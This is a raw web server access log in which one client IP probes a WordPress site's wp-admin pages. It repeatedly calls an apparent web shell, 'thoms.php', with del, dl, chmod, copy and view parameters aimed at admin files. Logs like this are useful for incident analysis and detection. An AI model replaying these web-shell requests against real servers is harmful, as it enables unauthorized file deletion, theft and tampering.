45.135.193.11 - - [11/Sep/2026:23:53:45 -0400] "GET /biotaiwan.com.tw/wp-admin/link-add.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /biotaiwan.com.tw/wp-admin/media-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /thoms.php?del=link-parse-opml.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /thoms.php?dl=menu-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=menu-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /biotaiwan.com.tw/wp-admin/css/ HTTP/1.1" 200 3651 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=privacy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /thoms.php?del=widgets-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /biotaiwan.com.tw/wp-admin/theme-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /thoms.php?chmod=js&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=js&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /thoms.php?dl=edit-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-tags.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:46 -0400] "GET /thoms.php?del=media-upload.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media-upload.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=admin-post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?del=comment.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=comment.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?chmod=custom-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Findex.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Findex.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-users.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?chmod=themes.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=themes.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=admin-footer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fauthorize-application.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fauthorize-application.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?dl=link-parse-opml.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?chmod=moderation.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=moderation.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?chmod=ms-delete-site.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-sites.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?dl=update-core.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=update-core.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?chmod=authorize-application.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Flink-manager.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Flink-manager.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:47 -0400] "GET /thoms.php?chmod=theme-install.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fuser-edit.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fuser-edit.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /thoms.php?chmod=user-new.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user-new.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /thoms.php?dl=widgets-form.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /biotaiwan.com.tw/wp-admin/term.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /thoms.php?dl=export-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-discussion.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /thoms.php?del=plugins.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugins.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=post-new.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=users.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /biotaiwan.com.tw/wp-admin/export-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:48 -0400] "GET /thoms.php?del=ms-upgrade-network.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?del=options-discussion.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-discussion.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?chmod=options-general.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-general.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?del=upload.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upload.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-permalink.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?dl=plugin-install.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?del=ms-admin.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-admin.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?del=user&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?dl=edit-tags.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=link-manager.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-delete-site.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?dl=user-edit.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=user-edit.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fuser&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=media-new.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:49 -0400] "GET /thoms.php?dl=media-upload.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media-upload.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:50 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=site-health.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:50 -0400] "GET /biotaiwan.com.tw/wp-admin/widgets-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:50 -0400] "GET /thoms.php?dl=update.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=update.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:50 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=widgets-form.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:50 -0400] "GET /biotaiwan.com.tw/wp-admin/link-manager.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:50 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=load-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:50 -0400] "GET /thoms.php?dl=network.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=network.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:50 -0400] "GET /biotaiwan.com.tw/wp-admin/options-general.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:50 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fupdate.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fupdate.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:50 -0400] "GET /thoms.php?chmod=link.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:50 -0400] "GET /biotaiwan.com.tw/wp-admin/admin-footer.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:50 -0400] "GET /biotaiwan.com.tw/wp-admin/edit-form-advanced.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:51 -0400] "GET /biotaiwan.com.tw/wp-admin/edit-form-comment.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:51 -0400] "GET /thoms.php?chmod=edit-form-comment.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:51 -0400] "GET /thoms.php?dl=menu.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=menu.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:51 -0400] "GET /thoms.php?chmod=ms-options.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
